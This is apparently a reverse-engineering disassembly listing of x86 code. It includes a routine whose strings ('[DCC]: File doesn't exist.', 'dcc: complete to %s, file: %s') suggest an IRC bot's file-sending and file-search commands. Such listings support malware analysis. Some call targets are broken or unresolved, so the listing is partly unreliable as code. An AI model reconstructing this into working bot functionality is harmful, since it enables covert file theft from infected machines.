		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C08A:				; CODE XREF: sub_40C030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0C0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0D5
		mov	edi, esi


loc_40C0D5:				; CODE XREF: ___:0040C0D1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0EA
		mov	edi, esi


loc_40C0EA:				; CODE XREF: ___:0040C0E6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C110	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C130	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C150	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C170	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C190	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1C0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C1F0	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C1F0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2B0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2D0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2D0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C300	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C300	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C320	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C320	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C350	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C350	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C370	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C390	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3C0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3E0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C3FB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C3FB:				; CODE XREF: sub_40C3E0+11j
		retn
sub_40C3E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C430	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4D0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4D0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA1E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C59C
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	near ptr byte_5F285B
		nop
		add	esp, 8
		jmp	loc_40C9C5
; ---------------------------------------------------------------------------


loc_40C59C:				; CODE XREF: sub_40C4D0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_40C5EA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C690
; ---------------------------------------------------------------------------


loc_40C5EA:				; CODE XREF: sub_40C4D0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C643:				; CODE XREF: sub_40C4D0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C655
		mov	eax, 5Fh
		jmp	short loc_40C658
; ---------------------------------------------------------------------------


loc_40C655:				; CODE XREF: sub_40C4D0+17Cj
		movsx	eax, al


loc_40C658:				; CODE XREF: sub_40C4D0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C643
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6AD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C690:				; CODE XREF: sub_40C4D0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BF
; ---------------------------------------------------------------------------


loc_40C6AD:				; CODE XREF: sub_40C4D0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 28503A0h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C714
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	near ptr byte_5F285B
		nop
		add	esp, 8
		jmp	loc_40C9BF
; ---------------------------------------------------------------------------


loc_40C714:				; CODE XREF: sub_40C4D0+201j
		push	0
		push	esi
		nop
		call	near ptr 2850000h
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A00
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C80D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9AA
; ---------------------------------------------------------------------------


loc_40C80D:				; CODE XREF: sub_40C4D0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C85D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9AA
; ---------------------------------------------------------------------------


loc_40C85D:				; CODE XREF: sub_40C4D0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C915


loc_40C86C:				; CODE XREF: sub_40C4D0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C877
		mov	ebp, ebx


loc_40C877:				; CODE XREF: sub_40C4D0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		call	near ptr 28402E7h
		nop
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2840000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C9DE
		cmp	edi, 1
		jl	loc_40C9DE
		sub	ebx, edi
		jnz	loc_40C86C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C915:				; CODE XREF: sub_40C4D0+396j
		push	esi
		nop
		call	near ptr 283094Ch
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		call	near ptr 71AB3F41h
		nop
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9AA:				; CODE XREF: sub_40C4D0+338j
					; sub_40C4D0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9BF:				; CODE XREF: sub_40C4D0+1D8j
					; sub_40C4D0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9CC


loc_40C9C5:				; CODE XREF: sub_40C4D0+C7j
		push	ebx
		call	near ptr 71AB9639h
		nop


loc_40C9CC:				; CODE XREF: sub_40C4D0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		nop
		call	near ptr 2830134h


loc_40C9DE:				; CODE XREF: sub_40C4D0+427j
					; sub_40C4D0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		call	near ptr 2830134h
		nop


loc_40CA1E:				; CODE XREF: sub_40C4D0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBA0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBC0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBE0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC80	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC80
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE81
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AD4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CDFB
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CDFB:				; CODE XREF: sub_40CC80+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	near ptr byte_5F285B
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE6C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE6C:				; CODE XREF: sub_40CC80+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2830134h
		pop	ebx


loc_40CE81:				; CODE XREF: sub_40CC80+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC80	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF30	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF30	endp

